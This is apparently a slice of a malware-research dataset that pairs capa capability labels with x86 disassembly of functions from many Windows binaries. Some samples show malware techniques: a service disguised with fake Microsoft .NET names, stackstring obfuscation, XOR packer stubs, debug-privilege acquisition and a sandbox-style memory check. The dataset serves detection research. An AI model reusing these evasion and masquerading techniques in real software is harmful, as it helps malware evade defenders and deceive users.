joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402446
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
mov ebx, dword [ebp + 0x10]
push esi
xor esi, esi
test ebx, ebx
jne 0x40245f
push 1
pop eax
jmp 0x4024d4
mov eax, dword [0x409498]
push 0
mov dword [ebp - 0x100], eax
push 0
lea eax, [ebp - 0x104]
push 0
push eax
mov eax, dword [ebp + 8]
inc eax
mov dword [ebp - 0x104], 1
push eax
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x4024cd
test eax, eax
je 0x40245f
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x40245f
mov eax, ebx
push 0
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x4024cd
cmp eax, 0xffffffff
je 0x4024cd
add esi, eax
cmp esi, ebx
jb 0x40245f
xor eax, eax
cmp esi, ebx
sete al
pop esi
pop ebx
leave
ret

Function at 0x402c2e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 4
push ebx
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402ca3
push edi
push 2
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
xor eax, eax
lea edi, [ebp - 0xb]
mov byte [ebp - 0xc], bl
mov dword [ebp + 8], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, dword [ebp + 0xc]
cmp edi, ebx
jbe 0x402c9b
lea eax, [ebp - 0xc]
push 0xa
push eax
call fcn.00401bc2
pop ecx
lea eax, [ebp + 8]
pop ecx
push ebx
push eax
lea eax, [ebp - 0xc]
push 0xa
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
dec edi
jne 0x402c79
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403061
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.ADVAPI32.dll
push str.RegCloseKey
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.RegOpenKeyExA
push ebx
mov dword [ebp - 0x28], eax
call esi
push eax
call edi
push 0x40
mov dword [ebp - 0x30], eax
xor edx, edx
pop ecx
xor eax, eax
lea edi, [ebp - 0x133]
mov byte [ebp - 0x134], dl
mov byte [ebp - 0x24], 0x53
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [ebp - 0x24]
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp - 0x23], 0x59
mov byte [ebp - 0x22], 0x53
mov byte [ebp - 0x21], 0x54
mov byte [ebp - 0x20], 0x45
mov byte [ebp - 0x1f], 0x4d
mov byte [ebp - 0x1e], 0x5c
mov byte [ebp - 0x1d], 0x43
mov byte [ebp - 0x1c], 0x75
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x72
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x43
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6e
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x5c
mov byte [ebp - 0xb], 0x53
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x76
mov byte [ebp - 7], 0x69
mov byte [ebp - 6], 0x63
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0x73
mov byte [ebp - 3], 0x5c
mov byte [ebp - 2], dl
lea ebx, [ebp - 0x134]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
lea ebx, [ebp - 0x134]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, ebx
mov ebx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x2c]
mov ecx, ebx
push eax
push 0xf003f
lea eax, [ebp - 0x134]
and ecx, 3
push edx
push eax
rep movsb byte es:[edi], byte [esi]
push 0x80000002
call dword [ebp - 0x30]
pop edi
pop esi
test eax, eax
pop ebx
jne 0x4031bc
push dword [ebp - 0x2c]
call dword [ebp - 0x28]
push 1
pop eax
leave
ret
xor eax, eax
leave
ret
Function at 0x4039cf
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
push edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, str.Serpiei
mov edi, eax
push esi
call fcn.00403061
test eax, eax
pop ecx
je 0x403a23
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], 0x403756
call edi
pop edi
xor eax, eax
pop esi
leave
ret 0x10
and byte [ebp - 0x114], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push eax
call fcn.00402ca7
lea eax, [ebp - 0x114]
push 1
push eax
push str.Microsoft_.NET_COM_Integration_with_SOAP
push str.Microsoft_.Net_Frameworek_COMi_Suppoot
push esi
call fcn.004031c0
add esp, 0x18
call fcn.00402217
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40123f
Capabilities:
Create pipe
Get thread local storage value
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1404
call fcn.0040c2c0
mov eax, dword [0x24c1264]
mov ecx, dword [0x24c0cf0]
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x401334
mov edi, ecx
mov ebx, eax
cmp dword [0x24c1264], 0x959
jne 0x401324
push esi
lea eax, [ebp - 0xc00]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push str.muzijoyasux
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push esi
lea eax, [ebp - 0x1400]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push esi
lea eax, [ebp - 0x400]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push esi
lea eax, [ebp - 0x800]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push str.kifolicevoyicok
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push edi
call fcn.00401007
add edi, 8
dec ebx
jne 0x40126b
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404679
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4a8058]
jne 0x404683
repz ret
jmp fcn.004091ca

Function at 0x40999b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4a8058]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00406d61
and dword [ebp - 0x14], 0
cmp dword [0x4aeb40], 0
mov dword [ebp - 0x18], eax
jne 0x409a4e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x409af6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x409af6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4aeb40], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4aeb44], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4aeb48], eax
call edi
push eax
call esi
mov dword [0x4aeb50], eax
test eax, eax
je 0x409a4e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4aeb4c], eax
mov eax, dword [0x4aeb4c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x409aa7
cmp dword [0x4aeb50], ecx
je 0x409aa7
push eax
call esi
push dword [0x4aeb50]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x409aa7
test ebx, ebx
je 0x409aa7
call edi
test eax, eax
je 0x409a9e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x409a9e
test byte [ebp - 8], 1
jne 0x409aa7
or dword [ebp + 0x10], 0x200000
jmp 0x409ada
mov eax, dword [0x4aeb44]
cmp eax, dword [ebp - 0x18]
je 0x409ada
push eax
call esi
test eax, eax
je 0x409ada
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x409ada
mov eax, dword [0x4aeb48]
cmp eax, dword [ebp - 0x18]
je 0x409ada
push eax
call esi
test eax, eax
je 0x409ada
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4aeb40]
call esi
test eax, eax
je 0x409af6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x409af8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404679
leave
ret
Function at 0x430001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..data
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408f6c
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x173272de
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data_1
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x57bd636f
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x419e60
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x4032f6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x70
call sub.MSVBVM60.DLL___vbaChkstk
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x14], 0x4024a8
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 1
mov dword [ebp - 4], 2
push 0xffffffffffffffff
call dword [sym.imp.MSVBVM60.DLL___vbaOnError]
mov dword [ebp - 4], 3
call fcn.004061fc
mov dword [ebp - 0x6c], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
lea eax, [ebp - 0x64]
push eax
push 0x28
mov ecx, dword [ebp - 0x6c]
push ecx
call fcn.004061b0
mov dword [ebp - 0x70], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
xor edx, edx
cmp dword [ebp - 0x70], 0
setne dl
neg edx
movsx eax, dx
test eax, eax
je 0x41a015
mov dword [ebp - 4], 4
xor ecx, ecx
test ecx, ecx
je 0x419f36
mov dword [ebp - 4], 6
mov dword [ebp - 0x6c], 0x1c
lea edx, [ebp - 0x6c]
push edx
lea eax, [ebp - 0x3c]
push eax
push 0x1c
lea ecx, [ebp - 0x60]
push ecx
push 0
mov edx, dword [ebp - 0x64]
push edx
call fcn.004062d0
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
jmp 0x41a015
mov dword [ebp - 4], 9
lea eax, [ebp - 0x44]
push eax
push 0x405398
lea ecx, [ebp - 0x68]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
push 0
call fcn.0040625c
mov dword [ebp - 0x6c], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
xor edx, edx
cmp dword [ebp - 0x6c], 0
setne dl
neg edx
mov word [ebp - 0x74], dx
lea ecx, [ebp - 0x68]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
movsx eax, word [ebp - 0x74]
test eax, eax
je 0x41a015
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x60], 1
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x74], 0
cmp dword [ebp - 0x74], 2
jae 0x419fb3
mov dword [ebp - 0x8c], 0
jmp 0x419fbf
call dword [sym.imp.MSVBVM60.DLL___vbaGenerateBoundsError]
mov dword [ebp - 0x8c], eax
lea ecx, [ebp - 0x44]
push ecx
mov edx, dword [ebp - 0x74]
imul edx, edx, 0xc
lea eax, [ebp + edx - 0x5c]
push eax
push 8
call dword [sym.imp.MSVBVM60.DLL___vbaCopyBytes]
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x74], 0
cmp dword [ebp - 0x74], 2
jae 0x419ff6
mov dword [ebp - 0x90], 0
jmp 0x41a002
call dword [sym.imp.MSVBVM60.DLL___vbaGenerateBoundsError]
mov dword [ebp - 0x90], eax
mov ecx, dword [ebp - 0x74]
imul ecx, ecx, 0xc
mov dword [ebp + ecx - 0x54], 2
jmp 0x419f04
mov dword [ebp - 4], 0x11
mov edx, dword [ebp - 0x64]
push edx
call fcn.00405e5c
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
push 0x41a03d
jmp 0x41a03c
ret
Function at 0x7eee2ad8
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x7eee6008], 0x8088405
inc edx
mov dword [ebx + 0x7eee6008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x7eee2dec
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x7eee6014]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x7eee2e84
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x7eee2e64
xor eax, eax
push ebp
push 0x7eee2e5d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x7eee2ea0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x7eee2e64
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x7eee6014]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x7eee6014], ax
mov esp, ebp
pop ebp
ret

Function at 0x7eee34cc
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x7eee7034], 0
je 0x7eee352d
cmp word [0x7eee7208], 0xd7b2
jne 0x7eee34f5
cmp dword [0x7eee7210], 0
jbe 0x7eee34f5
mov eax, 0x7eee7204
call dword [0x7eee7220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x7eee6060
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x7eee3554
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x7eee6020], 0
jne 0x7eee3549
push 0
push 0x7eee6058
push 0x7eee6060
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x7eee3d68
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x7eee3dce
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.7eee3774
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.7eee2b60
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x7eee3db8
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x7eee3dd5
lea eax, [ebp - 0x10]
call fcn.7eee3648
ret
Function at 0x7eee413c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.7eee397c
xor eax, eax
push ebp
push 0x7eee41b2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.7eee378c
mov esi, eax
test esi, esi
jle 0x7eee4191
mov ebx, 1
lea eax, [ebp - 4]
call fcn.7eee39dc
mov edx, dword [ebp - 4]
movzx edx, byte [edx + ebx - 1]
xor edx, edi
mov byte [eax + ebx - 1], dl
inc edi
inc ebx
dec esi
jne 0x7eee4176
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.7eee369c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x7eee41b9
lea eax, [ebp - 4]
call fcn.7eee3648
ret

Function at 0x7eee41c0
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff4
mov dword [esp + 4], edx
mov dword [esp], eax
push 0x7eee4264
call sub.kernel32.dll_LoadLibraryA
mov ebx, eax
push 0x7eee4274
push ebx
call sub.kernel32.dll_GetProcAddress
mov edi, eax
push 0x7eee4284
push ebx
call sub.kernel32.dll_GetProcAddress
mov esi, eax
push 0x7eee4294
push ebx
call sub.kernel32.dll_GetProcAddress
mov dword [esp + 8], eax
push 0x7eee42a4
push ebx
call sub.kernel32.dll_GetProcAddress
mov ebp, eax
push 0x7eee42b4
push ebx
call sub.kernel32.dll_GetProcAddress
push 0xa
mov edx, dword [esp + 8]
push edx
mov edx, dword [0x7eee7650]
push edx
call eax
mov ebx, eax
nop
nop
nop
push ebx
mov eax, dword [0x7eee7650]
push eax
call edi
mov edx, dword [esp]
mov dword [edx], eax
push ebx
mov eax, dword [0x7eee7650]
push eax
call esi
mov ebx, eax
push ebx
call ebp
mov esi, eax
test esi, esi
je 0x7eee4257
push ebx
call dword [esp + 0xc]
mov eax, esi
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x7eee49d4
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.7eee3648
test esi, esi
jne 0x7eee4a07
mov edx, esp
mov ecx, 0x105
xor eax, eax
call fcn.7eee497c
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.7eee3738
jmp 0x7eee4a25
call sub.kernel32.dll_GetCommandLineA_1
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.7eee47fc
mov edi, eax
test esi, esi
je 0x7eee4a25
cmp dword [ebx], 0
je 0x7eee4a25
dec esi
jmp 0x7eee4a0e
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x7eee505c
Capabilities:
Get memory capacity

Disassembly:
push ebx
add esp, 0xffffffe0
push ebx
nop
pop ebx
push eax
nop
pop eax
mov dword [esp], 0x20
nop
push eax
nop
pop eax
push esp
call sub.kernel32.dll_GlobalMemoryStatus
call fcn.7eee4fe4
nop
push eax
nop
pop eax
call fcn.7eee4fe4
mov ebx, 3
call fcn.7eee4fe4
cmp dword [esp + 8], 0x11e1a300
jae 0x7eee509e
call fcn.7eee4b50
dec ebx
jne 0x7eee508a
add esp, 0x20
pop ebx
ret
Function at 0x405d9a
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42c574], 0
push esi
jne 0x405dd1
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405dab
mov dword [ecx*4 + 0x42c570], eax
inc ecx
cmp ecx, 0x100
jl 0x405da6
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405e02
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42c570]
xor eax, esi
inc ecx
dec edx
jne 0x405de4
pop edi
not eax
pop esi
ret 0xc

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x402763
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
push esi
push str.HKLMSoftwareMicrosoftWindowsCurrentVersionRun
lea eax, [ebp - 0x278]
push eax
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
lea eax, [ebp - 4]
push eax
mov edx, 0x20019
lea ecx, [ebp - 0x278]
call fcn.0040695e
test eax, eax
jne 0x402820
push 0x104
lea eax, [ebp - 0x174]
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x174]
push 0x5c
push eax
call fcn.00410e90
test eax, eax
pop ecx
pop ecx
je 0x4027cb
inc eax
jmp 0x4027d1
lea eax, [ebp - 0x174]
lea ecx, [ebp - 0x70]
push ecx
push str.__._
push eax
call fcn.00410e59
add esp, 0xc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x478]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 4]
mov dword [ebp - 8], 0x200
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
push dword [ebp - 4]
jne 0x40281a
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
jmp 0x402822
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop esi
leave
ret

Function at 0x402825
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x270
push esi
push edi
push str.HKLMSoftwareMicrosoftWindowsCurrentVersionRun
lea eax, [ebp - 0x270]
push eax
mov esi, edx
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
lea eax, [ebp - 4]
push eax
mov edx, 0xf003f
lea ecx, [ebp - 0x270]
call fcn.0040695e
test eax, eax
jne 0x4028df
push 0x104
lea eax, [ebp - 0x16c]
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x16c]
push 0x5c
push eax
call fcn.00410e90
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40288e
inc esi
jmp 0x402894
lea esi, [ebp - 0x16c]
lea eax, [ebp - 0x68]
push eax
push str.__._
push esi
call fcn.00410e59
add esp, 0xc
push 0x21f
push edi
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
test eax, eax
je 0x4028c4
mov ecx, dword [ebp - 4]
push esi
lea edx, [ebp - 0x68]
call fcn.00406ccf
jmp 0x4028d1
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
jmp 0x4028e1
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x40297a
Capabilities:
Read .ini file

Disassembly:
push esi
push edi
xor edi, edi
push edi
mov esi, edx
push str.TxtAbtInfo
push edi
mov edx, 0x1f6
mov ecx, esi
call fcn.00405d0e
push edi
push 0x41974c
xor edx, edx
push edi
inc edx
mov ecx, esi
call fcn.00405d0e
push edi
push 0x419744
push edi
push 2
pop edx
mov ecx, esi
call fcn.00405d0e
pop edi
mov ecx, esi
mov edx, str.DlgAbt
pop esi
jmp fcn.00405ff6
Function at 0x402b65
Capabilities:
Read .ini file

Disassembly:
push ebx
push esi
push edi
xor edi, edi
push edi
mov esi, edx
xor ebx, ebx
push str.TxtOK
inc ebx
push 0x41974c
mov edx, ebx
mov ecx, esi
call fcn.00405d0e
push edi
push str.TxtCancel
push 0x419744
push 2
pop edx
mov ecx, esi
call fcn.00405d0e
push edi
push str.MTxtApply
push str.Apply
push 3
pop edx
mov ecx, esi
call fcn.00405d0e
push ebx
push str.MTxOptResMenu
push edi
mov edx, 0x213
mov ecx, esi
call fcn.00405d0e
cmp dword [0x420c00], 0x200
mov ecx, esi
mov edx, 0x21d
push edi
jge 0x402bdb
push str.TxOptAfter
jmp 0x402be0
push str.TxOptAfter2K
push edi
call fcn.00405d0e
push ebx
push str.TxOptRestart
push edi
mov edx, 0x214
mov ecx, esi
call fcn.00405d0e
push ebx
push str.TxOptApply
push edi
mov edx, 0x216
mov ecx, esi
call fcn.00405d0e
push ebx
push str.TxOptAsk
push edi
mov edx, 0x218
mov ecx, esi
call fcn.00405d0e
push ebx
push str.MTxOptShowUt
push edi
mov edx, 0x21a
mov ecx, esi
call fcn.00405d0e
push edi
push str.MTxOptUtItems
push edi
mov edx, 0x21c
mov ecx, esi
call fcn.00405d0e
push ebx
push str.MTxOptShIconMenu
push edi
mov edx, 0x220
mov ecx, esi
call fcn.00405d0e
push ebx
push str.MTxOptShBanner
push edi
mov edx, 0x224
mov ecx, esi
call fcn.00405d0e
push ebx
push str.MTxOptLoad
push edi
mov edx, 0x21f
mov ecx, esi
call fcn.00405d0e
push 3
push str.MTxOptChkEvry
push edi
mov edx, 0x226
mov ecx, esi
call fcn.00405d0e
push ebx
push str.MTxOptChkSec
push edi
mov edx, 0x22a
mov ecx, esi
call fcn.00405d0e
push ebx
push str.MTxOptMChromeChk
push edi
mov edx, 0x403
mov ecx, esi
call fcn.00405d0e
pop edi
mov ecx, esi
pop esi
mov edx, str.DlgOpt
pop ebx
jmp fcn.00405ff6